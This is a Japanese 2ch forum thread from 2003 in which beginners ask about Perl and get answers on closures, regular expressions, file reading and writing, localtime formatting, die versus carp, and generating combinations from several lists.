http://www.gihyo.co.jp/books/syoseki.php/4-7741-0817-0
現在2ch板対抗バトルロワイヤルPC連合軍はメンバーを募集しています。
荒らし以外なら大歓迎!(PC等カテゴリ内にある板が基本対象)
大抵は避難所にいるので気に入ったら是非参加してください。
会場
http://www005.upp.so-net.ne.jp/br-2ch/
本スレ
http://pc3.2ch.net/test/read.cgi/pc/1063891243/l50
避難所
http://jbbs.shitaraba.com/game/bbs/read.cgi?BBS=2967&KEY=1063365055&LAST=50
宣伝スマソ
529519:03/10/05 17:02
んじゃeffectiveのほう買って見るんで感想書けたら書いてみます

ところで自分の実力ってどの辺で測ればいいのかなぁ
CPANのモジュールのコードと比べてみるとかですかね?
>>529
モジュールのインターフェースだけ見てそれを実現するコードを実装し、Benchmarkで比較とか。
不毛な行動だが。
>>529
実力ってそもそも数値で現われるようなもんじゃないしなぁ。
料理本だって憶えなくても使えればいいわけだし、
モジュールだって範囲広すぎてどれをカバーすれば
どんくらい実力あるのかはわからんからね。
まぁ黒豹に書いてあるのが8割理解出来たら初心者は脱してると思われ。
あくまで私的な推測だけど。
俺は例えるならあれだな、難しい漢字読めるけど書けないってやつ
533デフォルトの名無しさん:03/10/06 10:43
ファイルの最後の行だけ読込むのってどうすればできますか?
>>533
普通に開いて、最後の行まで回すか、
配列に入れて$#の値を取得かどっちかかなあ。
>>534
やっぱ、それしかないですか。レスありがとうございました。
>>533
seekで、ファイルの最後から適当な文字数だけファイルポインタを戻す。
そこからファイルの最後まで読んで、/\n(.*)\n/s かなんかでマッチするか調べる。
改行がなかったら、さらに戻して、繰り返す。

でどうかな。ちょとめんどうだけど、ファイルが巨大だったりすれば、実行速度の差は
大きくなるはず。

537536:03/10/06 13:27
>>536
/\n([^\n]*)\n[^\n]*/s かなあ
かなり適当に書いてるけど。しくみはわかるとおもう。
$last_line = `tail -n 1 $filename`;
>>538
それなら536のと大差ないのでは。しかも環境依存だし。
540デフォルトの名無しさん:03/10/06 19:55
windows で activeperlを使っていますが
perlmagic がインストールできません。
どうやればインストールが出来るか知ってるかたいますか?
おしえて欲しいです。
>>539
TMTOWTDI
544デフォルトの名無しさん:03/10/06 21:40
Perlには例外処理が実装されていませんが皆さんはどうしてますか?
やはりevalによる代替でしょうか、それともError.pmなどのモジュールを
使ってるんでしょうか?

%SIG
ちょと強引(w
546デフォルトの名無しさん:03/10/06 22:46
>>541
そのバージョンじゃなくて、最新版のperlmagicなんだけど。
古いのはもうDLできない。
MP3ファイルにSJISで書き込まれているタグを
EUCに変換してLinux上で日本語が表示される様に
したいのですが、
どんなモジュールを使ったらよろしいのでしょうか?
御存じの方がいらっしゃいましたら使い方も
含めて教えてください。
よろしくお願いします。
548デフォルトの名無しさん:03/10/07 09:22
>>547
自分で書きなおせば?
>>544
代替つか、Perl では実行時エラーのトラップは eval BLOCK で
やるのが正道。try throw catch が恋しいなら Exception.pm や
Error.pm を使えばいいけど、やってる事は eval と $@ と die に
皮を被せてるだけだよ。

>>546
http://www.imagemagick.org/www/perl.html

>>547
http://search.cpan.org/search?query=MP3&mode=all
クロージャの練習のため、こんなコードを書いてみました
for (my $i = 0; $i <= 4; $i++) {
push (@a, sub{ shift() + $i; });
}
for (my $j = 0; $j <= 4; $j++) {
print &{ $a[$j] }(10),"\n";
}
$i が最初のループが廻るたびに記憶されて、2つめのループでは10,11,12,13,14と
printされるかな、と思いきや、そうなりません。そこで少し変えて最初のループを
for (my $i = 0; $i <= 4; $i++) {
my $k = $i;
push (@a, sub{ shift() + $k; });
}
とすると、思い通りになります。
これって不思議な感じしないっすか? 最初のコードで出力される15っていうのが、
$iの幽霊のよな。
>>550
$i が my で宣言されるのはどちらの場合でも最初の一回だけだが
$k はループの度に宣言されているからだろう。
$i のスコープは for ループ内だから、前者だとループ終了時点での
$i = 5 が全ての無名サブルーチンリファレンスで記憶されるんだろう。
552デフォルトの名無しさん:03/10/07 12:15
使わなくなった配列とかは
@array=();
とかやっといたほうがいいのですか?
>>552
undef @array;
適切にスコープを区切ってたら勝手に片づけてくれるけどね。
554552:03/10/07 12:44
>>553
レスありがとうございます。
555550:03/10/07 12:46
>>551
そうですね。$i を格納しているアドレスは1つであってループが廻るたびに
変化しますからね。
しかし、クロージャと言っている割にいつの間にか @a の要素のサブルーチンが
変わってしまうのは、いまいちださいというか、直観的でない感じじゃないですか?
pushした直後は sub {shift() + 0}, ... が入っているんだから、それを保持しと
いてくれよ。と言いたい気がします。大きいプログラムを組む時にバグに気が付か
ない原因になりそう。まあ Perl の仕様といえばそれまでですが。
>ロージャと言っている割にいつの間にか @a の要素のサブルーチンが
>変わってしまうのは、
サブルーチンが変わってるわけではないじゃん。

my変数だろうがlocal変数だろうが、
シンボルによる変数参照のスコープが違うだけ。
値自体は同じ空間に並んでると思われます。
実際リファレンスを取ったら、スコープを外れても値自体はずっと存在します。

で、あなたの例だとfor(my $i...という、ここでmy変数を宣言している。
これだと、ループの最初の一回でしか宣言されてない。Perlのmyというのは
関数のように考えないとダメです。これの第一の機能はヒープ領域に変数の値域を
確保することであって、変数宣言におけるスコープ限定は二次的な機能です。

そしてクロージャにおいて、なぜmy変数でないとダメかというと、
結局クロージャにおいて保持されているのは変数に対するリファレンスなので
local変数ではその値が上書きされてしまうことです。my変数ならばスコープを
抜ければ、自動的にアクセスできない変数となるから、値が保持されている
ように「見える」だけなんです。
おまえら、Cもちゃんと勉強してるんだろうな?
556の補足ですが、クロージャに渡すmy変数のリファレンスを取ることは
当然の帰結としてあまりよくないことだと言えると思います。それは
作成したクロージャを破壊してしまうことを意味しますので。
559初心者さん ◆eV4qRmoLQw :03/10/07 17:05
また、質問させてください。
単にファイルから1行(数字)を取ってきて、カウントアップさせて
また、ファイルに書き込む作業をしているのですが、
うまくいきません。

下記のコードのどこが悪いか分かりませ。
どなたかご教授下さい。

#!/usr/bin/perl

$filename = "renban.txt" ;

open(FOUT,"+>$filename") ;
print "$filenameをオープンしました。\n" ;
$count = 1 + <FOUT> ;
while( <FOUT> ) {
print "STEP1\n" ;
}
試しに、STEP1を出力しようとしましたが、出力すら出来ません。
お願いします。
>>559
どっかの掲示板スクのアクセスカウンタがどういう構造になってるか調べてみたら?
561332:03/10/07 18:51
>>559
何しようとしてるのか、さっぱりわかんね
>>559
それは取ってきてないし、書き込んでなんかないから。

初心者なら初心者らしくいっこいっこやれ。
まず"renban.txt"を手で書いて置いといて、それを表示してみる。
上手くいったら、それを書き換えてみて、ファイルを直に覗いてみる。
上手くいったらそいつをプログラムを介して表示してみる。

そんで繋げて一連のプログラムにする。
わかった?
563550:03/10/07 20:31
クロージャ関係でお騒がせしたので、>>559 を少し書いてみます。

まずポイントとしては、
1つのファイルを読み込むのと、そこに書き込むのとは同時には出来ない
という点があります。
なので、
(1) renban.txt (数字が1行に1個かいてあるんですか?) をまず読み込み
専用で開いて、全部読んでしまい、1行ずつに書いてある数を配列に記憶
する。ファイルは閉じる。
(2) その配列に入っているそれぞれの数に、1を足す
(3) 今度は、renban.txtのファイルを、書き込み用に開いて、(2)の配列
から、1個ずつ、書き込む。最後にファイルを閉じる。

という手順で、プログラムを考えるとよいと思います。
あるいは、

(1) renban.txt を読み込み専用で開く
(2) renban2.txt などの新しいファイルを書き込み専用で開く
(3) (1) から1行読み込み、その数に1を足し、(2) に書き込む
(4) (3)を、ファイルが終るまで繰り返す
(5) 両方のファイルを閉じる
(6) renban2 .txt を renban.txtに名前を変える

という手順でもよいです。

>>556 その、クロージャの「内側の仕組み」は、そうなっていることは承知
なのですが、そういったC言語ぽい「アドレス」の仕組みを意識していないと
正しいコードを書けない、という印象は、やはりあります。forループの中で
新たに my $k を、必要な個数だけ意図的に作成しないと、無名サブルーチン
に捕捉してもらえない、というのは不自然な仕様じゃないですかねえー
まあ言ってもPerlが変わる訳じゃないので覚えるしかないのですが。
>>550
ではどうなっていればいいんでしょうか。
$iが無名関数において使われていることをパースした段階で
認識したら、値のコピーを作成してそれに対するリファレンスを
無名関数に埋め込むようにするとか?
LISP処理系やPerl自身の内部はあまりよく分っていませんが、
あるところでの言語としての設計とパフォーマンスを意識した
トレードオフがあるんだと思います。
565初心者さん ◆eV4qRmoLQw :03/10/07 20:59
>>563さん
どうも有り難う御座います。
単に、ファイルの先頭行のみに数値を保持してるだけなんです。
色々と試し、ファイルの中身が消えている事などが分かりました。
だから、where文を通ってませんでした。
結局ファイルを開くモードを変更して、成功しました。
どうも、すいません。
これからは、もう少し試行錯誤してから質問します。
月を英単語として出したいんですけど、どうやったら出来ますか?
日は普通に出来るけど・・・


sub GetTime {

$ENV{'TZ'} = 'JST-9';
my($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
my $day = ('sun','mon','tue','wed','thu','fri','sat')[$wday];
my $this_year = $year + 1900;
my $this_month = $mon + 1;

#my $date = sprintf("%04d/%02d/%02d(%s)",$this_year,$this_month,$mday,$day);
my $date = sprintf("%04d/%02d/%02d(%s) %02d:%02d:%02d",$this_year,$this_month,$mday,$day,$hour,$min,$sec);

return($this_year, $this_month, $date);
}
日と同じようにやればいい
>>566
これを実行したら、tueと表示されたが...?
>>568
mon tue wedとかじゃなくて10月、11月とかを英単語として出したいんです。
>>569
('Jan','Feb',...)[$mon]
ってのを用意しないとだめだろ。
sub GetTime {

# タイムゾーンの設定。動くところもあれば動かないところも(汗)
$ENV{'TZ'} = 'JST-9';
my($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
my $day = ('sun','mon','tue','wed','thu','fri','sat')[$wday];
my $tuki = ('Jan','Feb','mar','apr','may','jun','jul','aug','sep','oct','nov','dec')[$mon]
my $this_year = $year + 1900;
my $this_month = $mon + 1;

#my $date = sprintf("%04d/%02d/%02d(%s)",$this_year,$this_month,$mday,$day);
my $date = sprintf("%04d/%02d/%02d(%s) %02d:%02d:%02d",$this_year,$this_month,$mday,$day,$hour,$min,$sec);

return($this_year, $this_month, $date);
}
print scalar(localtime);
で解決だったりして(w
なるほど
my($wday, $mon, $mday, $hhmmss, $year) = split(/\s+/, scalar(localtime) );
こんなんでいいのなw
つか英語表記するなら並びかえれるように変数に小分けする必要ない気もw
>>573
漏れも余計な変数を使いたくないが為に、普段は my @DATE = locatime; にしちゃってるし。
575デフォルトの名無しさん:03/10/08 15:35
エラーの出力で質問なんですが、
die、warnとCarpモジュールのcarp、croakはどのように使い分ければ
良いのでしょうか?
DBD::AnyDataを使って、CSVを読み込みSQLでレコードを取得しようとしているんですが、
WHERE句のところでどうもおかしくなるみたいなんです。

色々試したところ、
select * from foo where (1=1) and (1=1) and (1=1) and (1=1)
というような、(***)が4つ以上出てくると、SQL ERRORとなってしまうようです。

ちなみに、
select * from foo where 1=1 and 1=1 and 1=1 and 1=1
select * from foo where (1=1) and (1=1) and (1=1) and 1=1
などは正常に動きます。
(Postgresとかに繋いだ場合は、(***)が4つ以上出てきても問題ないみたいです)

SQL::Statement、SQL:Parserの挙動があやしいと思うんですが、
どなたか詳しい方います?
>>575
dieですと単に「何行で氏んだ」で終わりですが、carp()を使うとサブルーチンや他のモジュール
なんかでcarp()を呼んで氏んだ時に、どこで呼ばれたのかを表示します。

ヤレヤレ、Pythonでは標準装備なんですがね...
578デフォルトの名無しさん:03/10/09 01:50
>>577
では、メインルーチンではdie、warnでサブルーチン/モジュールでは
carp、croakを使うってことでよろしいでしょうか?
>>578
「コードのどの部分で死んだか」が知りたければ die
「どの呼び出しが原因で死んだか」はcarp
だからまぁ、多くの場合メインルーチン/サブルーチン(というか、書いたコード/ライブラリ)って事だね

後は、「死んだ場所のコード」に関心があればdie、なければcarp
これも似たようなもんだね
perl でバイトオーダーの変換ってどうするればいいのかな?
sparc で書かれたバイナリファイルを x86 で読みたいのだけれど、
n とか v とか使って unpack/pack/unpack してみたり、
unpack して C 単位で配列に読み込んで並べ替えて
pack/unpack してみたりしたけどなんかだめっぽい...
>>579
勉強になりました。
>>579
use Carp;
ってやらないとだめじゃない?こんな関数あったんだねー
>>582
関数じゃないだろ
584デフォルトの名無しさん:03/10/10 02:22
ちと、初歩的な事を聞いちゃうけど

cgiでformでページ移動する時に
移動先ページのエンコードが何故か西ヨーロッパ言語(windows)になっちゃうんですよ

ヘッダーでは
<META HTTP-EQUIV="Content-type" CONTENT="text/html; charset=Shift_JIS">
を記述してるし
ヘッダーのサブルーチンはちゃんと呼び出してるし
なるわけねぇのに、必ず西ヨローパになるわけなんだが

わかる神は教えてくださいな
>>584
ここは分る人いないんじゃない?WebPG板へどうぞ。
>>584
全然perlの話じゃないから教えない。
webprgに行っても、perlスレで質問するんじゃないぞ。
CGIのスレとか、HTTP系のスレか、ブラウザ系のスレでドゾー。
587デフォルトの名無しさん:03/10/10 03:56
PerlもCGIも同じだと想うのに・・・(||´ー`)
588デフォルトの名無しさん:03/10/10 04:01
>>587
はげどう。
頭の固い人が多くて困るね。
perl と cgi が同じだと思ってる人が多いことの方が困る。

>>587-588
死んだほうがいいよ。
>>584
><META HTTP-EQUIV="Content-type" CONTENT="text/html; charset=Shift_JIS">
これをヘッダーと呼ぶならHTML系スレへ池
WebProg行ってもこれをヘッダーとか言ったらバカにされるだろうよ
IEの話だね
PerlもCGIも関係ない
HTMLやってる人ならブラウザ依存の話題は嫌がらないだろ
next if /foo/;
next if /bar/;
ってのと
next if /(foo|bar)/;
っての,どっちが良いんでしょ?

別にnextじゃなくてもいいんですけど,
ifを2回続けるのと1回だけど正規表現が複雑になるのとどっちが良いのかと思って…
# 速さとか見た目とかコード量とかも含めて色々意見がありそう
>>592
好みの問題だとしか言いようがない。
next if (/foo|bar/); のほうが速い。
どっちを使うは趣味。
>>592
見た目も判断基準に入るなら
next if (/foo/ or /bar/);
なんてのも候補かもね。
>>584
print FILE2 '<html>' . "\n";
print FILE2 '<head>' . "\n";
print FILE2 '<title>R A G N A R O K </title>' . "\n";
print FILE2 '<meta http-equiv="content-type" content="text/html; charset=' . $xmlcodes[$s]. '">' . "\n";
print FILE2 '</head>' . "\n";
print FILE2 '<body><pre>' . "\n";
ちょっと前に出た日付ネタだけど
@order = qw(4 1 2 0 3);#0=>wday 1=>mon 2=>mday 3=>hh:mm:ss 4=>yyyy
@time = @{ [ split(/\s+/, scalar(localtime) )] }[@order];
こんなんどうだろ
>>597
locale依存かも。
上手く説明できるか自信が無いのですが、質問があります。

$word = "ho==ge,fu==ga,fo==oo\n";
$data = {
hoge => 'hoge',
fuga => 'fuga',
fooo => 'fooo',
};

という元々のデータがありまして、
$wordを分割して%$dataに入れたいのです。
入れるだけなら簡単なのですが、出来る限り短いコードで書きたいのです。

my $tmp = { map { split /==/ } split /,/, $word };

↑こんな感じに新しいモノに入れるのはスグ思いついたのですが、
元々あるハッシュ(%$data)に追加するにはどうすれば良いのかわからなくなり質問させて頂きました。

my ($key, $val);
foreath (split /,/, $word) {
($key, $val) = split /==/;
$data->{$key} = $val;
}

↑この方法以外に、もっと良い方法があれば教えて頂きたく。
$data->{$_->[0]} = $_->[1] for map { [ split "=="] } split "," => $word;

まぁ読みにくいがね。
あと$wordはchompしないと改行が残る。
601599:03/10/10 19:09
>>600
ありがとうございます。大変参考になりました。
>>587-588
頭固いのはお前らだ。
頑ななまでにPerlとCGIを一緒にしたがる残党が残ってて困る。
ちと、教えてくんさい。
配列要素の組み合わせ処理を、foreachを使ってやってるんだけども、
配列の数が変わるたびに、変更しないといけないので、悩んでいます。
順列と同じように、再帰を考えてみたんですが、上手い事いきません・・・・

例を書くとこんな感じです。
何重にもなるループを綺麗にまとめる方法は、無いでしょうか。

use strict;

  my @list1 = (1, 2, 3);
  my @list2 = (4, 5, 6);
  my @list3 = (7, 8, 9);

  foreach my $i (@list1) {
    foreach my $j (@list2) {
      foreach my $k (@list3) {
        print "$i $j $k\n";
      }
    }
  }
exit;
>>603
もう少し説明してくれるかな。
何がしたいのかどうも伝わってこない。
そのコードを見る限りだと、

for ($_=0; $_<=$#list1; $_++) {
 print "$list1[$_] $list2[$_] $list3[$_] \n";
};

って事なのかな?
なんだ、おい、算数もだめか?
606603:03/10/10 21:57
>>604
603を実行すると、
147,148,149,157・・・・368,369
と表示したいんです。

例では、配列を3つ書いていますが、この配列が5個に増えた場合、
それに合わせて繰り返し文を書いていかないと、出来ないのか?
ってことなんです。

>604を実行したら、147,258,369しか出てきませんでした。

my @list1 = (1, 2, 3, 4);
my @list2 = (5, 6, 7, 8);
my @list3 = (9, 10, 11, 12);
my @list4 = (13, 14, 15, 16);

hoge(\@list1,\@list2,\@list3,\@list4);

sub hoge {
my @lists = map { [$_, 0] } @_;
LOOP: while(1) {
print join " " => map { $_->[0]->[$_->[1]] } @lists;
print "\n";
$lists[0]->[1]++;
for my $i (0..$#lists) {
if ($lists[$i]->[1] >= scalar @lists) {
$lists[$i]->[1] = 0;
if($lists[$i+1]) {
$lists[$i+1]->[1]++;
} else {
last LOOP;
}
}
}
}
}


こんなん何に使うんだ?w
608607:03/10/10 22:18
あ、あと順番逆だけどその辺は工夫してやってくれ。
sortするだけでも元に治るだろうし。まぁ適当に。
609603:03/10/10 22:38
>>607
あ、ありがとうございます。
配列のリファレンス使って、やる方法があったんですね。
細かいとこまで、ジックリ解読して使わしてもらいます。m(_ _)m

もやもやが吹っ飛んだ気分で、ぐっすり眠れそうです。
>>609
書いてみたものの、何に使うのかわからない>>607はもやもやして眠れないかもしれない。
再帰でもできるみたい

my @list1 = (1, 2, 3, 4);
my @list2 = (5, 6, 7, 8);
my @list3 = (9, 10, 11, 12);
my @list4 = (13, 14, 15, 16);

hoge('',\@list1,\@list2,\@list3,\@list4);

sub hoge {
my $string = shift;
unless ($#_ + 1) {print $string, "\n";}
else {
my $aref = shift;
my @restarray = @_;
foreach my $s (@$aref) {
&hoge($string.' '.$s, @restarray);
}
}
}
my @list = ([0,1,2,3], [4,5,6,7], [qw(8 9 A B)], [qw(C D E F)]);

hoge(\@list);

sub hoge {
  my($list, $depth, $str) = @_;
  if ($depth < @{$list}) {
    hoge($list, $depth + 1, $str . $_) for @{$list->[$depth]};
  }
  else {
    print $str, "\n";
  }
}
613603:03/10/11 15:54
>>607
なんに使うかというと、取り込んだデータの種類別組み合わせがあって、
丁度こんな形の繰り返しが出てきたんですよ。
n!の順列じゃないので、どうやって良いのか、迷ってたんです。

>>611
>>612
再帰は自分も考えたんですが、複数ある配列をどやって、
再帰ルーチンに渡すのかが思いつかなかったんですが・・・・・勉強になります。

何重もある繰り返し文が、コンパクトにまとまると、綺麗っすね。
もっと勉強してきやす!!
614611:03/10/11 15:56
再帰hoge内でmap使いたいけど $_ がグローバルだから使えないね。ちょっちださい駱駝
>>584
板違いだけど、Apache のバグで location とかで飛ばすと
charset がISO-8859とかになっちゃうのがあった
面白いからメモっとこう
使う機会は無いだろうけどw
617611:03/10/11 20:20
こんな手もあるね。この方がPerlぽいか

my @list1 = (1, 2, 3, 4);
my @list2 = (5, 6, 7, 8);
my @list3 = (9, 10, 11, 12);
my @list4 = (13, 14, 15, 16);

eval &hoge(\@list1,\@list2,\@list3,\@list4);

sub hoge {
my $code='$,=\' \'; my @a=();';
for (my $i=0; $i<=$#_; $i++) {
$code .= "foreach my \$loop$i (";
foreach (@{$_[$i]}) {$code .= $_. ',';}
$code .="){push (\@a, \$loop$i);";
if ($i==$#_){$code .= 'print @a,"\n";';}
}
$code .= 'pop (@a);}' x ($#_ + 1);
return ($code)
}
初心者的な質問ですみませんが、
print文で print "./hoge/hoge.txt";としてもhogeディレクトリを予め作っておかないと
hoge.txtが作成されません、
いちいちmkdirせずとも、
ディレクトリごとファイルを作成できないでしょうか
できない。
620デフォルトの名無しさん:03/10/12 00:38
>>618
そりは無理ですな、mkdir汁
ageちゃった、スマソ
622デフォルトの名無しさん:03/10/12 01:58
openじゃないの??
>>622
何が?
俺は621じゃないけど。。。
俺もopenだと思う。618が。
て言うか、あらかじめディレクトリを作ってもそれじゃ無理。みたいな。
なんか面白いやつがいるな(w

>>618
print "./hoge.txt";
でどうなるよ、これだとディレクトリは関係ないぜ?(w
つか、どこでそんなインチキ学んだのかと小一時(ry
>>624
あらかじめ作らないでやるということらしい

>>618
無理

>>625
ハゲ?

と無駄にレス

質問なんだが
$〜 の変数はどのぐらいの容量ある?(使える?)

1Mバイトぐらい平気かな?
特に制限ないんじゃなかったっけ?
現実的には、OSや実装メモリなんかに制限されるんで
2GBぐらいかと思うけど・・
煽っておいて自分は厨な質問・・・
>>628
あんたは以下のソースを実行する事
$in = ".";
for($i=0;$i < 1000;$i++){
$out = $out . $in;
print $i . "\n" if (($i % 10) == 0);
$in = $out if (($i % 10) == 0);
}
exit;

>>627
制限自体は無いみたいだが
速度等から考えると空きメモリぐらいが限度か・・・
>>629
それを実行してどうしろと?
お前が実行してみるべきじゃないのか?
631デフォルトの名無しさん:03/10/12 13:13
$_ = 'ABCDEFG1234567abcdefg';

 があるとします。
 正規表現で "CDE'から'cde'の間だけを示す事が出来ますか?
 上の例でいえば、示しているのが 'FG1234567ab' となるようにしたいのです。

 表現がわかりづらかったらすみません。
>>631
$_~/CDE(.*)cde/;
print $1;
633デフォルトの名無しさん:03/10/12 13:30
>>632

 ありがとうございます。


 何度も質問を挙げてすみません。

>>631の例で

$_ =~ m /[A-Z](.*)[a-z]/;

 としたら、範囲は「BCDEFG1234567abcdef」になります。
 [A-Z]は最初のマッチで、何故[a-z]は最後のマッチが示されるのでしょうか?
 [A-Z] と [a-z] の間の数字だけを示すにはどのような表現がありますか。

 どなたか教えてください。
>>633
abcdefも.*にマッチするから。
よくわからんが、

/[A-Z]*(\d*)[a-z]*/ ってことかな
>>633
数字列は\d+にマッチする。
perlはデフォルトで「マッチする中でもっとも長いもの」にマッチする。
もっとも短いものにしたい場合は、繰り返し記号の後ろに?をつける。
/[A-Z]+(.+?)[a-z]+/ なら、数字列が$1に入る。
637(-_-):03/10/12 13:49

$_ =~ m /[A-Z]([0-9]*)[a-z]/;


試してない。。。が言いたいことはわかってくれ
被った。この場合?はいらんな。
639637:03/10/12 13:51
たくさんかぶったね(w
もしかして私の間違ってる?
>>639
マッチしないんじゃ…?
[A-Z]の後に+か*とかないと
>>634
> >>633
> abcdefも.*にマッチするから。

 そうだったんですか。
 ありがとうございます。

>>635
> よくわからんが、
> /[A-Z]*(\d*)[a-z]*/ ってことかな

 説明がわかりづらかったですか。
 自分でもどう表現してよいか解っていませんので許してください。。
 結果は以下の通りでした。

$& => ABCDEFG1234567abcdefg
$1 => 1234567
642デフォルトの名無しさん:03/10/12 14:16
>>636
>/[A-Z]+(.+?)[a-z]+/ なら、数字列が$1に入る。

$& => ABCDEFG1234567abcdefg
$1 => 1234567

 でした。

>>637
> $_ =~ m /[A-Z]([0-9]*)[a-z]/;

$& => G1234567a
$1 => 1234567

 間違っていませんでした。


 初心者なので一つ一つ試したりして勉強になりました。
 目的の動作を何とか引き出せそうです。
 ありがとうございました。
>>640だがよく考えたら全然Okじゃないか。昼からぼけているな。ゴメソ
<img src="hoge"><a href="hoge">hogehoge</a>

となってるやつから"<"と">"でくくられた所だけを取り出したい
どうすればいい?

*"<"と">"の間に改行コードがある場合もある
初心者初心者と連呼して自己弁護するのもいいが、マニュアルくらい読めよ。
ぜんぶ載ってる。
>>644
> "<"と">"でくくられた所
この場合は具体的にどう取り出したいんだ?
>>646
@stuff = split /\x3C/, $_; と同じような感じで

変数 => 中身
$_ => <img src="hoge"><a href="hoge">hogehoge</a>
↓取り出したあと
$stuff[0] => img src="hoge"
$stuff[1] => a href="hoge"
$stuff[2] => /a
としたい
$hoge = qq|<img sr\nc="hoge">\n<a \nhref="hoge">\nhogehoge</\na>|;
@stuff = $hoge =~ /<([^<]+)>/gs;

こんな感じ?
こんな方法あったのか・・・
$msg ="";
open FILE , "C:/Program Files/Netscape/Users/Bookmarks.html";
foreach (<FILE>) {
s/\r//g;
s/\n//g;
$msg = $msg . $_;
}
close FILE;
$_ = $msg;
s/\x3C/\n\x3C/g;
$msg = $_ ;
foreach ($msg) {
#ここで処理
print $_ . "\n" if ($_ ne "");
}
訂正
$_ = $msg;
s/\x3C/\n\x3C/g;
@msg = split /\n/, $_;
foreach (@msg) {
  @stuff = $_ =~ /HREF="([^\x22]+)"/gs;
  print $stuff[0] . "\n" if ($stuff[0] ne "");
}
>>649-650
それはつまりこういう事がしたいの?

my $file = 'C:/Program Files/Netscape/Users/Bookmarks.html';

open FILE, '<' . $file or die $!;
local $/;
my @stuff = <FILE> =~ /HREF="([^"]+)"/gs;
close FILE;

print join "\n", @stuff;
おまいら噛み合って無いな
ここ一連の質問者全員同じ様な気がするな
俺は煽られたわけじゃないけど>>626ってバカだね。
print "./hoge.txt"でファイルができると思ってるなんて。
655デフォルトの名無しさん:03/10/13 01:23
>>654
まったくもってその通りだな

open FILE , ">./hage";
close FILE;
でファイルは出来るな
656デフォルトの名無しさん:03/10/13 02:08
みなさん  perl -w に
use strict;
use Data::Dumper;
などを使用されている清く正しいperl使いなんでしょうか。

メインでperlを使っているわけではなく
たまになんか書かされたりするんですが
いつもPerlの変数リファレンスでワケワカらなくなります。
上記モジュールをuseしないと全くコーディングが終わりません。

自分が触っている変数がハッシュのリファレンスを格納した配列を格納した
ハッシュのリファレンス・・・とか複雑なデータモデルだとお手上げ。

他の型がキッチリしててクラスが「簡単に」
使える言語(言ってしまえばjavaとか)に比べるとperlを使いこなすのは
熟練が必要だなあといつも思います。悪口じゃないスよ。

ってゆーか上記のように複雑なデータ型を扱うのに
コツあったら聞きたいんです。クラス使えって言われそうですが
何度がチャレンジはしたのですが概念ではなく書式・文法レベルで複雑で
挫折を繰り返しております。


657656:03/10/13 02:21
えと、あとPHPとかのrequire_atonece ? のように
ライブラリの重複読み込みをさせないようにするには
どうしたらいいのかエロい >657 さん教えて。ダメ?
これでいつも苦労してまふ。
658デフォルトの名無しさん:03/10/13 02:27
perl マニアの方、教えてくだされ。
クラスのアクセサの定義に Class::Accessor を使っていたんだけど、
(↓のような感じで)perl 5.6.1 になったら Class::Accessor が無い!
代わりに何を使えばいいんだろう。。Class::Struct だろうか。。?

--
#!/usr/bin/perl

package Foo;

use strict;
use base qw(Class::Accessor);
Foo->mk_accessors(qw(hoge huga));

package main;

my $foo = new Foo;
$foo->hoge('boooo');
$foo->huga('goooo');
--
659656:03/10/13 02:35
>>657
間違えた。自分に言い聞かせてどうするのだ。
660デフォルトの名無しさん:03/10/13 06:18
こんにちは

select(SOCK); $| = 1; select(STDOUT);

これって何をしているのでしょうか?

ちなみにマニュアルによると・・・
「selectでファイルハンドルを指定しおくとwriteやprintで引数を省略できます」
「$| は0以外なら現在選択中のファイルハンドルに対するすべてのwrite,print文の
実行後にバッファをフラッシュします」
>>660
某所の説明
# ファイルハンドルSOCKETをバッファリングしない
select(SOCKET); $|=1; select(STDOUT);
$msg = "GET http\://$host$getpath HTTP/1.1" . "\r\n";
$msg .= "User-Agent: perl.pl" . "\r\n";
$msg .= "Connection: close" . "\r\n";
$msg .= "Host: $host" . "\r\n";
$msg .= "\r\n";
print SOCKET $msg;
#print "rquest\n" . $msg;
while (<SOCKET>){
s/\r/\n/g;
s/\n//g;
663660:03/10/13 08:53
なるほど。一度きれいに掃除してからサーバと会話するということみたいですね。
ありがとうございます。
>>663
なんか違うぞ。
フラッシュしないと、print $msg を実行しても、どっかの
バッファに入るだけで、サーバへ送信しないことがある。
それを防ぐだめに、>>660 みたいなことをするのだ
use FileHandle;
...
SOCKET->autoflush(1);
マニュアルに使われてる言葉が分らないならそれも調べなさいよ・・・
_| ̄|○
>>656
古い。今はuse warningsを使う。
Perlのリファレンスは演算のできないCのポインタという感じだが...
たしかにクラスを使うのは面倒だ。俺はPerlから入って、Python、Java、C++と進んだがPerlの
実装はひどいと思う。
複雑なデータ構造を扱いたいのなら単に紙に書いておけばいいだけでは?
そりゃ頭の中だけならこんがらがるよ。
>>657
requireでもuseでも重複読み込みしないようになっている。
>>658
これって標準モジュールじゃないよね?
自分でインスコするしかないのでは?

>>656
このClass::Accessorを使うと多少はクラスが使いやすくなるよ。
データ構造のためにクラスを使うって使い方は
Perlじゃ余り上手く行かないね、面倒なだけ

逆に言えば、面倒な準備無しに幾らでも複雑なデータ構造を扱えるのがウマーなんだが
それこそ、メモでもコメントでも用意すれば良い話
実は、リファレンス/デリファレンスの理解が怪しいのが原因だったりしないかい? > >>656
671デフォルトの名無しさん:03/10/13 23:44
>>667
今はuse strictじゃなくてuse warningsを使った方がいいの?
672デフォルトの名無しさん:03/10/13 23:45
perl -wのことだろ
>>672
でしたね。スマソ
674デフォルトの名無しさん:03/10/14 02:29
ディレクトリの中にアミノ酸配列が記されたファイルが5枚あります。それぞれのファイルのアミノ酸配列について疎水性指標を計算し、ファイル名とともに表示しなさい。

●与えられたディレクトリ:dp18

●アミノ酸配列を、疎水性指標に変換するハッシュは以下のものを用いる。
A => "1.8", V => "4.2", L => "3.8", I => "4.5",
M => "1.9", W => "-0.9", F => "2.8", P => "-1.6",
G => "-0.4", S => "-0.8", T => "-0.7", C => "2.5",
Y => "-1.3", N => "-3.5", Q => "-3.5", K => "-3.9",
R => "-4.5", H => "-3.2", D => "-3.5", E => "-3.5",

ディレクトリを引数としてperlスクリプトを実行する時は、以下のように入力。

perl [スクリプト名] [ディレクトリ名]

これで以下以外のやり方ってありますか?


675:03/10/14 02:31
#/usr/pin/perl -w
%aa12hydro = (
A => "1.8", V => "4.2", L => "3.8", I => "4.5",
M => "1.9", W => "-0.9", F => "2.8", P => "-1.6",
G => "-0.4", S => "-0.8", T => "-0.7", C => "2.5",
Y => "-1.3", N => "-3.5", Q => "-3.5", K => "-3.9",
R => "-4.5", H => "-3.2", D => "-3.5", E => "-3.5",
);
if (!@ARGY) {
print "The target directory must be specified as the command-line argument\n";
exit;
}
